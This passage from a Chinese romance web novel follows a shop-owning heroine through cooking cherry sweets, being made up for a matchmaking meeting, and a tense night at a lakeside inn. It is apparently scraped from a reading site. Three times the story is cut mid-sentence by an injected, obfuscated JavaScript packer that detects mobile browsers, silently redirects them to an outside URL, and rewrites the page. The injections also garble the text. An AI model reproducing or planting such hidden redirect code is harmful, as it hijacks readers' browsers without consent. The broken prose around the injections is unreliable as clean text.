满满还想拒绝，只见兰嫂子眉毛一皱，接着道：“当年还在村里，不过是没有生个儿子，村前村后如何被人诟病你忘了，我可还记得，你难不成还想步娘的后尘吗？” 满满见她这样，也只能想先应付过去：“行，人我愿意见，但事能不能成，我就不能保证了。”见见也罢，反正总得成家，早也罢晚也罢，若是遇上了合适的，她倒是也愿意试一试。 见女儿服软，兰嫂子忙笑道：“无碍无碍，你愿意便成。今日一早吴嫂子铺子里，他家里人便远远地瞧过了，都道你是个好姑娘呢。这位何郎君家里富庶，里里外外都有仆人伺候，你也不必伺候公婆，况且这何家也是商户，不会瞧我们不起，也不介你在外头讨生活。吴嫂子也早已替你们相看过八字了，合的很呐。” 说完，兰嫂子又附耳道：“今晚你只管到了地方坐着，记得好好收拾一番，到时候矜持一些，那位公子远远地看，你也留心看一看对方，若是人家看上你了，便“插钗”，若是没看上，便会过来送你两匹布，这些你都晓得吧？” 满满点点头，有些不甘心地问道：“那我要是没看上他呢，我又该如何做？” 兰嫂子愣了愣，掐了掐满满的脸：“傻丫头，那是人家去‘相媳妇’的，哪有你说话的份！你只管漂漂亮亮地去了再回来，剩余一应事项，娘自会替你筹谋！” 满满心里腹诽，但却也没有办法，只盼晚上黑灯瞎火，对方看她不清，以为她是一只“母夜叉”才好呢！ 本说着今日把家中老宅的楔子送到衙门去，请官爷代为转交给菊嫂子一家，也算是全了心头一桩事，但看来是去不成了。 满满叫来阿云，把房楔子给了她，托她去衙门帮她跑一趟。 阿云有些疑惑地接过，问道：“小娘子......就这样放过他们了？” 满满微怔住，脑子里不断回忆着那日薛以安留下的话：“我说不过你，可我心里晓得，你便是一个顶顶好，顶顶善良的人，任你怎么说，我都不会变。” 半晌，她叹了口气，道：“不争了，争来争去又有什么意思？不过是彼此为难，但愿我以德报怨，也能结她们一段善缘，从此不相往来，也不必相互怨恨。” 阿云点点头：“好，既然你决定了，那我待会得空了就去。” * 太阳正好呢，满满还在院子里吹风，前脚刚刚忙完，后脚便有几个壮汉风风火火地进来了。他们抬着两大框樱桃，框子下边还垫着正在化开的冰，有风一吹，送过来凉凉的、冰冰的果香。 满满忙从躺椅上跳起来，摇着扇子，笑脸迎过来：“哟，几位大哥真是辛苦了，快先坐下喝口茶！”她一面一一奉上铺子里用井水镇过的酸梅汤，一边问道： “几位大哥可是顾校尉府上的？” 其中一位仰头一口干尽酸梅汤，抹了抹头上的热汗，喘了口气，才笑着对满满作揖道： “正是。小娘子莫见笑，这樱桃虽轻，但从南方大老远运过来，冰换了一次又一次，光着一箩筐，半数都是冰呢，可把弟兄们累坏了。” 满满眼尖，立刻接过空了的杯子，又给满上递过去。小娘子笑容诚恳，肤白体香，也并不嫌弃他们浑身臭汗，几位心里都生出几分好感，连忙把沾满汗水泥巴的手往身上抹了抹，有些不好意思地双手接过，再次咕噜咕噜喝完。 “若是不够喝再倒便是，这天气属实太热了，难为几位大老远送过来。前些日子杨校尉和我交代过，我瞅着过了这些日子还不送来，以为是要作罢了呢。” 壮汉努力咽下最后一口，笑呵呵回答：“官人又得了一筐，便等着这两筐一起送过来了。一筐软烂些，另一筐还脆生着呢。官人让我等转告小娘子，您看着做，能做多少是多少，也不着急，别误了果子的好时候便可。若是冰不够了，只管上杨府拿便是。” 说完，还递给满满一个荷包：“这是大人给小娘子的报酬，请小娘子勿要推脱。大人还说，若是小娘子不收，才是折了各位将士的气节。” 话至此，满满也不便推脱，轻轻掂了一掂，约莫三两银子，到让她心头发紧，不管是出于对将士们的感激，还是冲着这三两重金，她都得好好做！ 几位告辞，满满看了看两只柳条筐，一筐樱桃红得发乌，指尖轻碰便渗汁水；另一筐朱色透青，蒂梗硬挺如翡翠簪头。她还记得，那日顾校尉曾提及府上小姐素爱甜口，便思量大可先做几样送给这位闺阁小姐尝尝，若是能入这位千金的口，其余便好说。 案头摆开三只陶钵，指尖一捻，便定了用法——软烂的熬煎，生脆的浸酪。一样点了名要吃的樱桃煎，剩下还可包一个樱桃酥酪，夏日炎炎，再要配上樱桃饮子，吃起来那才叫一个畅快。 先拣了软烂的，浸入梅子水里洗净。木盆里滚两遍井水，拇指抵着果脐一旋，核便落在竹篓里，案板上只余一汪胭脂肉。接着铜锅架在炭炉上，生起火，两瓢井水配上半碗梅卤，水开始滚起来才下樱桃。梅子水煮到起蟹眼泡，最去酸涩，此时下樱桃最好。 果肉在沸水里翻着绛色，灶间漾开清酸气。 满满拿了个银匙试了试软硬，此时果肉软烂粘腻，然后捞起倒在细葛布上沥水。这一沥大有讲究，尤其得悬在阴凉处，若是贪快用日头晒，果肉便容易发柴。 待沥好了水，在木臼里铺上层粗糖，然后把樱桃肉倒进去捣。这“捣”也十分有讲究，木杵斜着使暗劲，果肉才碾得细密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422416|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。待红浆里不见粗粒，满满挖两勺崖蜜进去，细细拌匀。搅浆的铜匙贴着钵沿转圈，琥珀色的蜜裹住樱桃泥，胭脂般的果肉裹着金沫，蜜香缓缓漫出来，好不诱人。 接着取了模子，用滚水烫过，撒层薄霜似的糖粉，便开始印模子了。满满舀进去一勺红浆，用尽压了压，填得瓷实，木铲抹平了，反手往案板上一磕，圆饼便落在案上。这当口最忌手抖，满满惯是有经验的，大刀都使得，这点功夫自然不在话下。用腕子发力，二十四个饼子个个浑圆，唯有边角微微有些毛刺。 最后一道火候在熬糖。余下的樱桃汁另外用碗装好，添三勺蜜，文火慢熬。一边熬，一边嗅着味道，手中拿把勺子，贴着锅底推圈，待估摸着火候足了，蜜香也浓稠，拿双竹筷蘸了蜜，往凉水里一甩，只见糖丝脆生生断开，正是挂浆的好火候。 一个个深红饼子在糖浆里打个滚，然后一一摆在白瓷盘里晾着，一个个细致可爱，蜜色闪闪漾着柔和光晕。过了一会，樱桃煎已凝成玛瑙色。满满用银刀切下一角，断面透着晶亮的蜜丝。拿起来尝了半块，酸味早化在蜜里，齿间留着梅子香。 接着便是“樱桃酥酪”。捡了生脆的樱桃，浸在井水里，撒上盐，又丢了冰块镇一镇。 满满先在锅里煨羊乳，碗底放上新蒸的糯米，用木勺贴着碗沿轻刮进锅里，酪浆匀匀浸透米粒，她又取三枚鸡子黄搅散，蛋液掺入酪浆，把锅架在火上慢慢烘。待得稠了，撒把霜糖粉起锅。 满满拣出镇好的樱桃，切碎入锅，缓缓熬成泥，又放几勺崖蜜匀了匀甜味。待锅里的酪浆渐凝作玉脂，她挑些浇在樱桃上，微微一搅，红白相映像雪里红梅。余下的酪浆分装成五盏，拿银匙背轻压出云纹，更显得精致可爱。 樱桃酥酪端出来，酪面浮着蜜色糖霜。拈起竹签，将渍好的樱桃嵌在云纹凹处。舀一勺送入口，乳香裹着果酸在舌尖化开，酥酪滑得捉不住，偏又黏着糯米的韧劲。吃完了酥酪，碗底还剩些梅子汁，拿手指蘸了吮，冰冰凉凉的酸甜。 余下的软烂果连核捣碎，刚好可以冲一杯樱桃饮。用石臼捣碎腌紫苏叶，沥出出绛紫色浆汁。粗麻布滤去渣滓，把汁水兑上甘草汤煮沸，晾至微温时，放上一勺槐花蜜，琥珀色的蜜如同丝线一般流淌在绛汤中，此时加入樱桃碎，用筷子搅一搅。 把送来的冰也利用起来，匡匡砸碎成冰粒子，堆在碗中。把冲好的红色饮子浇在冰上，哧啦作响，白雾裹着果香漫上来。 饮用时配上长柄铜匙，舀半勺冰，就喝半勺汤汁，舌尖先触时觉得凉爽，待咽下去了，喉头又有些滚热，清凉的甜意在喉头漫开，却又不觉得粘腻。 满满把三道小点心用食盒装好，遣人送去顾校尉府上，说是让顾小姐先尝。 刚忙完，兰嫂子便带了一个妇人上门： “满满，你瞧，我特地找了张娘子来为你梳妆。晚上既然去了，那也得好好打扮打扮。” 满满一愣，只见张娘子已经淡淡笑着迎上来，用手慈祥地抹了抹她的鬓角： “今日便由我为你上妆。” 29. 添妆 兰嫂子朝满满挤了挤眼睛：“张大娘子可是咱们临安城里最大的脂粉铺子的娘子，平素只给那些官家小姐上妆呢，花多少钱去请都请不到的。今日也是看在你吴嫂子的面子上，我软磨硬泡了半天，才肯来，你还不赶快谢谢张娘子！” 满满看了一眼这位张娘子，虽然年岁已高，却只在眼角才能瞥见一丝细纹，肤白而细腻，脸颊微微方圆，显得富态，穿的裙子是靛蓝色，并不显得张扬，却用料是厚实贵重的，让人敬重。她看向满满的眼神带有慈祥而宽和的笑意，让人觉得信服而亲切。 她连忙服了服身子：“劳烦张娘子了，张娘子随意画一画便可，您来这一趟便让我心里感激了。” 兰嫂子拍了拍满满：“瞧这孩子，说的什么话，张娘子既然来了，便是铁定要让你变个模样的，否则不是白费了张娘子这会功夫？” 转头又对张娘子笑道：“真是劳您费心了，这孩子从小野惯了，从不知收拾自己，野猴子似的，不如旁的姑娘精致些，恐怕得多耽误您些功夫。” 张娘子笑而不语，轻轻扶着满满的肩推她到铜镜前坐下，一双温凉的手托起她的脸，从镜子里看着她。 “你娘这话说的不妥，我瞧着，倒是比那些官家小姐都秀致些呢。” 兰嫂子听了，讪笑着张口，却似乎不知说些什么，最终只剩下沉默。 张娘子也并不管，只是把双手放在满满肩上，问道：“可是去见心仪的郎君？” 满满心里涩涩的，不知如何回答。 兰嫂子连忙答到：“今日是吴嫂子做媒，何家人相媳妇。” 满满小声补充道：“是，但能不能成还不知道呢，我心里估摸着怕是不大行。” 兰嫂子甩了满满一个眼刀，又对张娘子讪笑道：“能不能成，也得看天意了，我们当长辈的，自然还是希望孩子们和和美美，成就佳缘。” 张娘子又问：“满满，想画一个浓一些的，还是淡一些的？” 兰嫂子忙回答：“便画一个浓一些的罢，黑灯瞎火的，省的看不清了。” 满满也轻声道：“全凭长辈做主便是。” 张娘子拍了拍满满，笑意却不达眼底：“孩子大了，自己能拿主意了。满满年纪轻轻，在当娘的眼里永远是个孩子，难免总是操不完的心，但我却能看出是个稳重的姑娘，不然怎么把这么大一个铺子操持的红红火火，热热闹闹的？” 满满心里稍暖，轻声道：“那便依着张娘子的意思化吧。” 兰嫂子纵然心再大，现下也听出了张娘子的意思，有些不自在地噤了声，双手交叠着站到一旁，小心看着。 张娘子打开她带过来的一个膝盖高的妆奁，这妆奁是檀木朱漆的，盖子和底部还镶了银边，形状也做成花瓣子一般，壁上用金色画了游园图，看上去很是精致。在从前，妆奁都是富贵人家才用的起的，本朝开始，也逐渐飞入寻常百姓家，但不过简化成了一个圆筒状的木匣子，哪见过这样精致的？ 只见张娘子轻轻把盖子揭下，放在一旁，发出敦厚的撞击声，可见这木质是极好的。妆奁内，各类物件码放得整齐。揭了第一层盖子，又端下第二层盘，然后再分开剩下两层的“中”和“底”，这便是妆奁的四层了。每一层分门别类地放着镜子啊，篦子啊，油缸啊，粉盒啊各条目物什。 只是远远地闻着，便觉得芬芳雅致，这些胭脂水粉的物什，仿佛是刻在女孩家骨子里的，不论是满满还是兰嫂子都看直了眼，觉得新奇。 张娘子见满满的呆样，抬起她的下巴，道：“满满皮肤细腻又白嫩，不必傅太厚的粉，轻轻拍打一层，正正应了‘轻粉约略’，才是现在时兴的呢。” 张娘子先是打湿了帕子，用皂角轻轻洗净满满的脸，然后又从妆奁中取出一小罐面脂，一面轻轻涂在满满脸上，一面轻声道： “这是蜂蜡和花露凝成的，可以滋润面颊，平常洗了脸，风一吹便会发干发痒，便可以用些。” 而后，又往满满脸上抹了什么湿湿的东西，满满吸了吸鼻子，有些讶异地问道： “这......是米汤？” 张娘子笑着点头：“正是，这米汤可以定住铅粉胭脂，便是到了晚上回来也不会妆花。” 而后，便是用一种白中透粉的粉盒敷在脸上，几乎不见痕迹。又用眉墨为她描了又长又细的小山眉，前端微微弯起，后端绵延流畅，如同水墨画中淡淡的群山。再用胭脂轻扫面颊，最后点上口脂。 做完这些，张娘子顺手给她盘了一个高髻。 最后，拿出一种白色的镂空花状片片，轻轻贴在她的眼下。并柔声道： “这是用鱼鳃骨镂的，叫做鱼媚子。” 此时，她再看铜镜中的女子，真应了诗中那句： “嫩红双脸似花明，两条眉黛远山横。” 她有些害羞地笑了笑，转头再看兰嫂子，只见兰嫂子有些不知所措地看着她，眼里竟缓缓泛出泪光，她皱眉问道： “娘......” 兰嫂子仿佛恍然梦醒，鼻翼吸了吸，一副笑意吟吟地模样，道：“我的满满果然是长大了，是这临安城里打着灯笼都找不到的大美人。” 兰嫂子慌忙出门：“我还特地找人裁了一身衣服，我这就去拿。” 张娘子看了看兰嫂子，又看了看满满，拍了拍她的头，问： “喜欢吗？” 满满看着镜子里的自己，明明觉得哪都没变，但偏偏就觉得这不是自己。她点了点头。 张娘子一边拿出蔷薇水细细擦在她头发上，一边道：“如果我有一个像你这样大的女儿，大抵也会会忍不住每日给她梳妆打扮。” 满满轻轻摇头：“生个男孩才好呢，生了女孩，人前人后得受不少苦。” 张娘子一边收着妆奁里的东西，一边淡淡道：“满满，我没有孩子。” 满满有些惊讶，下意识想安慰：“其实也挺好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426479|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，至少......至少......”她绞尽脑汁想着，却突然听张娘子轻笑： “你不必如此，我过得很好，我也没有夫君，从来只有我一个人。” 半晌，满满说：“我说句掏心窝子的话，您看上去比大多数有夫有子的娘子活得好得多，我娘只有我一个闺女，也比不少生了儿子的人家过的好呢。” 她抬起头，有些小心翼翼地问张娘子：“但我从没想过可以活成像您一样，不过，您定然也受过不少不为人知的苦吧？” 张娘子轻轻拍了拍她的头，轻声道：“不管怎么选，你只要记着一条，勇敢，你要相信，不管哪条路，你都可以靠自己走的很好。” 满满尚且来不及深思呢，兰嫂子便进来了。 “满满，我让成衣铺子量着你的身量做的，快来试一试合不合适。” 满满拿起衣裳回到里间换上，这身衣裳做的细致，用料轻薄舒适，里边是一条藕菏色的抹胸配上龟背纹提花百褶裙，外边先套上天水碧素罗窄袖衫，再套上蝶恋花纹天水碧半袖衫，最后系上一条白玉环佩绦带。 且不说这天水碧的清新亮眼，满满先注意到的是正正好的袖口和裙摆。小时候家里做衣服，爹娘都会先紧着她，但从来这新衣裳都是袖口裙摆长一些的，娘总说这样明年长高了还能穿。 如今，日子过得好了起来，她也不再长个了，娘也给她做了正正合身的衣裳。 满满换了衣裳出来，二人又是一通赞赏。 * 华灯初上，夜市正是繁华时刻。 何家是在城南做米店生意的，家里有不少银子，这次会面便定在了西湖边一家酒楼。这酒楼上上下下五层，外形做成了画舫的样式，偏偏又刚好在水边，有风吹过，湖面碧波荡漾，倒真的如同船在湖中游一般。 兰嫂子和袁大哥领着满满进了酒楼，说明了来意，便被领到了一间隔间里。袁大哥和兰嫂子先行离开了。 满满独自在隔间里转了转，这隔间装潢地雅致，放着两张紫檀木矮桌，矮桌之间有一道薄薄的屏风，不知是用什么丝线绣成的，几乎坐在一边，便能看到另一边的景象。屏风上还绘制着洛神图，一旁的窗户敞开着，吹来一阵阵晚风，湖面的波光倒影，点点渔火，尽收眼底。 满满记着兰嫂子的嘱托，好歹装个样子，乖顺地在靠里的桌案前坐下。等了好久，腿都有些酥麻，隔壁的隔间传来阵阵歌舞之声，虽然她心里闪过一丝靡靡之音的批判，但吹着晚风，望着月亮，口渴又喝了几口桌上的小酒，便有些飘飘然了。 正当她等得有些发困，快要睡过去之时，门外突然发出了响动。她连忙正襟危坐，继续摆出一副贤淑的模样。 她低着头，用一把团扇微微遮着脸，只用耳朵去听，紧接着，门一关一合，脚步声响起，只听那人在她对面坐下，倒了一杯酒，半晌，没有任何言语。 正当她打算悄悄瞥一眼时，一道声音传来。 30. 花前月下 “承允兄！今晚还是老地方，斗蛐蛐去！” 薛以安刚从学堂出来，便听到几人吆喝。这何允承是一众子弟中出了名的纨绔，肚子里没什么墨水，家里也都是商户出身，花了大价钱把他送进学堂旁听。他倒好，礼易诗书是不学的，倒是在此处呼朋结伴，认识了不少衙内，狐朋狗友。 打心底里讲，在这念书的衙内们大都是瞧不上何家这样的莽夫，但奈何何允承出手阔气，很快拉拢了不少弟兄。众人成日里在讲堂上昏昏欲睡，待下了学，便喝酒赌博，斗虫听曲。 今日这何允承却一反常态，虽然心里痒痒，但却想起了临行前母亲耳提面命的交代： “祖宗，平日里那一包糟烂摊子我不和你计较，睁一只眼闭一只眼也就过去了，但今日万万不能误了正事！下了学便赶忙回家，晚上去醉仙楼相看姻缘！” 何允承摆了摆手：“今日就不去了，家里安排我相媳妇！” 周遭人都是热血年纪，一听这话，都好奇地竖起了耳朵。 “哟！允承兄当真是艳福不浅！不知是哪家的小娘子？” 何允承皱着眉想了半天，支支吾吾道：“似乎是在御街开食肆的.......我娘说了，她手艺了得，生意也红火，若是娶了她，日后可就有口福了。” 众人依旧熙熙攘攘，别的人尚且模糊着呢，薛以安在一旁一听，登时便冒起了冷汗。连忙让阿牛去打听，才知今日兰嫂子特地请了张娘子来为袁小娘子添妆。 薛以安只听得一个“醉仙楼”，暗中计上心头。 * 何允承正进了醉仙楼，遥遥一望，只觉得面前有个人影有些熟悉，仔细一看，竟然是同窗薛以安，二人并不相熟，在何允承印象中，薛以安不过一个整日杵着笔头画画作诗的愣头青，但见对方朝自己走来，还是点了点头。 “允承兄，今日醉仙楼有演‘蚂蚁角武’的，不知允承兄同去否？” 蚂蚁角武？ 何允承一听来了兴趣。他平素最好弄虫蚁，这蚂蚁角武，他只在鸟市听人讲过一次，两队蚂蚁各自为伍，列阵相斗，攻伐进退，令行即止。初听时他便眉毛一竖，只道绝不可能。 如今，这样神奇的事竟然成了真的？ 可今夜...... 薛以安见何允承犹豫，立刻添油加醋：“这等奇观，我也是得了小道消息才知道，只今夜一次，再过半刻便要开始了。没成想在此遇到了允承兄，真乃天赐的缘分！” 何允承斟酌道：“贤弟，我怎不知你平素也好虫蚁？” 薛以安答到：“我也是遇上了机缘，碰巧得了一张通行令，便想着闲来无事去看一看罢了。” “通行令？这通行令在何处买？” 正在这时，阿牛跑了过来，连忙朝薛以安道：“郎君，张先生说实在没有了，仅此一张通行令。” 薛以安面色一变，遗憾道：“那该如何是好，看来今日是只能自己去了。说来也是不巧，这样难得的机会，本该让何兄这般的好手去观摩，我一个外行去，倒是有些浪费了。” 被二人这么一晃，何允承顿觉心痒难耐，说实在的，他倒是也想见一见这小娘子，但在这样难得的趣味面前，通通被他抛之脑后： “贤弟，我们同窗一场，我实在有个不情之请，我今日本是来这醉仙楼相媳妇的，但这蚂蚁角武实在是我心头好，贤弟，你不若把这通行令卖给我，再替我会一会这小娘子，反正我娘早已相中了她，今日无非走个过场！” 薛以安露出一副惊讶的神色：“不不不！这是何兄终身大事，我怎可瞎掺和！何兄若是想去角武，我原价转手给你便是，这后者......我是万万不敢！” 何允承一听，心里暗暗冷笑，他早就料想这薛以安是个见了娘们连头都不敢抬的孬种，这反倒让他放心了。 “贤弟，你不知，我家中安排了人，若是被发现我没去，回去少不得一番痛骂！你放心，我娘早就相看好了，你只需替我走个过场，坐一坐便离开就行，若是出了什么事，都在醉仙楼内，你来向我通风报信，我也好有个准备。” 见薛以安依旧犹豫，何允承加大了筹码：“去年生辰，我家中送了我一副王献之真迹，那玩意我也欣赏不来，不知贤弟可喜欢？” * 薛以安轻轻推开门，小心翼翼朝里看去。 晚风轻轻撩动纱帘，月光忽明忽暗地摇曳着。盘着高髻的小娘子懒懒地斜倚在桌案上，听见响动，如同一只受惊的玉兔，立刻正襟危坐，装模作样地举起扇子遮在脸前，只露出雪白的长颈，天水碧配珊瑚红的裙子软软塌塌叠在跪起的双足旁，叫他看得浑身一怔。 他一直都知道她是女子，但直到此刻见她玉肌红颜，窄腰酥臀，才突然觉得心里什么地方有团火在烧动，越发庆幸他来了。但凡想到若是这样一幕落入何允承眼中，他便觉得胸闷气短，难以排解。 还好她用扇子遮了脸，他才能强行镇定着走进来跪坐下，然后小心翼翼地打量她，他喝了一口桌上的酒壮胆，酝酿片刻，方才唤她： “袁小娘子。” 满满一听，她脑子有些迷糊，只觉得这声音熟悉，想了半晌，突然顿悟，有些惊讶地却了扇，冷眼一瞧，还当真是他，想起上一次见面的情形，她也有些尴尬： “薛小官人，怎么是你？！” 薛以安见她却了扇，匆匆瞥了她一眼，只觉得她今日过分的美丽，强装镇定答到： “何郎君去看蚂蚁角武了，托我来带他走个过场。” 满满心里有些失落，她虽然没对这次相看报什么期望，但对方却如此羞辱她，她在那人眼里，竟然连几只蚂蚁也不如。 “原来如此，让你看笑话了，既然如此，那我便走了。” “小娘子留步！”他急忙出声。 “怎么？” “他托了我来，若是此刻出去，定然会让人起疑心。” 满满皱了皱眉：“他如此羞辱我，我还得留在这为他做局？” 薛以安摇头：“你误会了，他确实不配。我就是想提醒你一句，这何家公子并非良配。” 满满轻哼：“我已经知晓，仅仅是第一步呢，他便如此轻慢我，想必便是成了夫妻，也不会把我放在眼中。” “小娘子最近在相看郎君吗？”他低着头，问出这一句。 满满觉得他这话问得有些冒犯，显得她有多么急切把自个嫁出去似的，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431959|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得面上无光。但又想他好歹是来帮自己，出自好心，自己倒是仗着他脾气好，把气撒到他身上了，耐着性子回答： “倒也不是，主要是我娘在着急，我呢，想着若是遇到合适的，便可以考虑考虑，若是没有，便也不强求。” 薛以安小心翼翼开口： “那......小娘子觉着，如何算合适的？” 满满心里一跳，搪塞道： “反正......最最要紧的，总得敬重我吧？还有......我不做妾......”她有些不自信地补充，不过想了想，她天生不愿低人一头，况且她也从未有攀高枝的念头，这也不过分吧？ “还有......就算成了亲，我也得在外抛头露面！我不会放弃我的铺子的！” 说完，她悄悄瞟了薛以安一眼，见对方沉默，她连忙道： “我这要求或许苛刻了些，不过我觉着，也许呢，也许还真让我遇上了呢？况且.......我有手有脚，就算不成亲，总是饿不死......”她的声音越来越微弱，他却突然抬头，看着她，一双眸子熠熠生辉： “不苛刻，一点也不苛刻。”他看着满满的眼睛，诚恳道：“我娘常教导我堂姐，女子挑夫婿的眼光一定要高，否则就会被夫家轻慢，小娘子的要求不过是份内之事，哪怕再多加一些都是应该的。” 满满听了，心头熨帖，有些不好意思地低下头。 “所以......若是有人做到了，那你便愿意嫁......”他连忙改口：“考虑考虑吗？” 满满愣住，看着他看过来的一双带着祈求的可怜巴巴的眼睛，突然觉得心里一紧，艰难开口：“也......也不是！”她背过身："总之，这都是缘分！缘分！那，那也得两个人都能看对眼，若是那人长相可怖，浑身恶臭纵然万贯家财，打死我我也不愿嫁呢！" 他低低地嗯了一声，倒是让她有些奇怪，她回头看了他一眼，他似乎没预料到她会回头一般，鼓起勇气，朝她笑了笑。 满满不知为何，竟然生出一股愧疚感，想来也是因为喝了酒昏了头：“我先走了，改日再会！” 他倒也没有拦她。默默跪坐在原地，她出门时没忍住回头看他一眼，只见他一动不动，怪可怜见的，摇了摇头，努力不再想。 他又喝了一口酒，其实，他还有话同她说。他想说，他想明白上次见面那个问题了，还有，她今日分外好看。 满满出了门，刚走了几步，便远远看到了吴嫂子，吴嫂子似乎也看到了满满，刚想说什么，满满连忙转身，混迹在人群中四窜。她昏头吞脑跑了好久，好容易甩开了吴嫂子，随意推开一间门走了进去，却立刻愣在原地—— 一双冷冽妖艳的凤眼微挑看过来，女子容貌妖冶张扬，美得沉鱼落雁，雍容华贵，她香肩微露，胸前玉峰隐约，不少同样穿着华美的女子伺候在周围，或是按肩锤背，或是弹琴跳舞。女子斜斜靠在一把太妃椅上，手里悬着一壶青瓷酒壶，她斜起手臂，玉酿流入怀中人口中。 而躺在她腿上的男子，神情迷醉，穿月白的衫子，脸上是醉态的嫣红，头埋在女子裙摆中，口中偶尔吟出几句诗，满满定睛一看，正是——常轩！ 31. 意外 常轩张口，清澈的琼浆流入口中，他嘴角溢出满足的笑声，同时也有不少琼浆流到下巴上，脖颈上，衣裳上。他听到推门声，转过头，在看到满满的瞬间愣了愣，开口道： “袁小娘子……” 女子挑了挑眉，冷冷问道：“认识？” 满满敛下心头思绪，就算是为了阿云的缘故，她都想问上常轩一问，为何当日仗义救人的他，如今却是醉倒在女子的裙摆之间。虽然她心里知晓，自己并没有半分问出这话的立场，但她还是不甘心。 “我是开食肆的，和常官人有过几面之缘罢了，第一次来醉仙楼，不小心走错了路，扰了二位雅兴。” 女子轻笑：“你为何如此看我？” 满满一惊，她方才看这女子的眼神却是有些直白，但却没想她会直接问出来。 常轩也坐了起来，轻轻揪了揪女子的衣袖，微微责备道：“赛赛……” “看看，官人的衣裳都湿了。”被唤作“赛赛”的女子轻轻勾了勾常轩的领子，一面道：“弄月，带官人下去换身衣裳。” 几名女子上前，嬉笑着架着常轩出门。 满满心里不适，也连忙道：“既如此，那我先告辞了。” “慢着。”女子冷冷道：“你可知晓我是何人？进了我的地盘，哪有这么容易走？” 满满皱了皱眉，有些莫名其妙：“我不知，我并非有意，为何不让我走。” 女子眼神迷离，懒懒从躺椅上站起来，走到满满身边，拍了拍她的脸，娇笑道：“我和你开个玩笑罢了，别动气嘛。你既然认识常官人，不如与我讲些同他有关的事，我无聊的很，你同我说说，我请你吃茶可好？” 正在这时，门突然被撞开了。 一个又黑又壮，穿金戴银的男子闯进来，众人尚来不及反应，男子怒喝一声：“你个狗娘养的婊子，敢背着老子私会野男人！” 男子一边说，一边举起手，一掌扇在女子脸颊上，这一掌力道很足，啪的一声，满满吓了一跳，女子却是一声不吭，憋着一口气，重重倒在一边。 见此情形，满满朝周围一看，婢女们都面上无波，冷漠站在一旁，似乎已经习惯了一般。 满满心下一痛，忍不住走过去想要扶起女子，女子却已经自己爬起来，顶着脸上一个红红的巴掌印，怒急反笑： “是又如何，有本事你来掐死我？逼死我你便满意了？就算是死，我也不会给你一个眼神！” 男子看着女子脸上一片红肿，似乎也有些愧疚，半晌，道：“把楼姑娘关到老地方去。” 满满趁机混迹到婢女之中，慌忙从门里溜出去。只见几个婢女架起赛赛的胳膊，她却不屑地甩开：“我自己会走。” 满满回头看了一眼，只见赛赛远远的看着自己，嘴巴一张一合，似乎是在说：“救我。” 她脑子里乱成一片，始终忘不了赛赛留下的那句话，但又略一思索，男子在醉仙楼来往自如，身旁的婢女显然都是他的人，说不好，便连这赛赛也是他的人，自己贸然行动，反而会把自己拖下水。 她努力说服自己，反正世上悲惨之人如此多，若是遇上一个她便要救一个，她哪有这么厉害？ 一边走，她突然觉得有些不对劲，自从出了门，便总觉得有人跟着自己，回头一看，却又没人看自己，但细细一想，却发现几个作壮汉般打扮的人始终尾随在后边。 满满心里一跳，连忙放快脚步，可是这醉仙楼实在太大了，她并不知如何出去，绕了好几圈，似乎都是在原地打转。 正当她心里打鼓，旁边的厢房门突然被打开，伸出一只手，用劲一拉，满满便被人拉进去，门再度关上，吵闹声瞬间被滤掉一半。 她的身体被重重压在门板上，厢房内只点燃了两只暗暗的蜡烛，恍然间，突然感觉脸前有厚重急促的呼吸，这把她拉进来的人，竟然比她更着急几分。 薛以安一边用门栓死死关上门，又拖动了几个沉重的柜子抵在门上，一边低声附在满满耳边，道：“有人在追你？” 满满一愣，知道了是他，竟然安心几分，虽然下一秒腹诽，他这娇滴滴的少爷不一定比她能干几分，她回答： “你怎么知道？” “我方才出了厢房，便看见你急匆匆地在楼上楼下走来走去，便猜测你是不是找不到路了，但略一思索，若是如此，大可停下来问问便是，也不必如此一刻不敢停，再一观察，便猜测是有人尾随你。” 满满急忙补充：“不仅如此，那人在醉仙楼带走了一个女子，我看着来头不小，估计整个楼里都是他的势力。想必是我听了他的私事，所以……” 薛以安并未再追问为何会尾随满满，他往外看了看，立刻道：“你若是信得过我，我们便从这窗户里跳下去。” 他轻轻弯腰，靠近她的耳朵，气息温温热热，让她耳朵发痒：“估计他们已经在门外守好了，你现在出去，便是自投罗网。” “外面这条巷子我熟悉，不远处有一户人家是我的好友，可以在那躲一躲，一时半会不会被追上。” 满满此刻别无他法，第一次遇上这种事，她听过不少若是得罪了不该得罪的人，听到了不该听的事，对方便要杀人封口的案例，如今发生在自己身上也不是不可能。 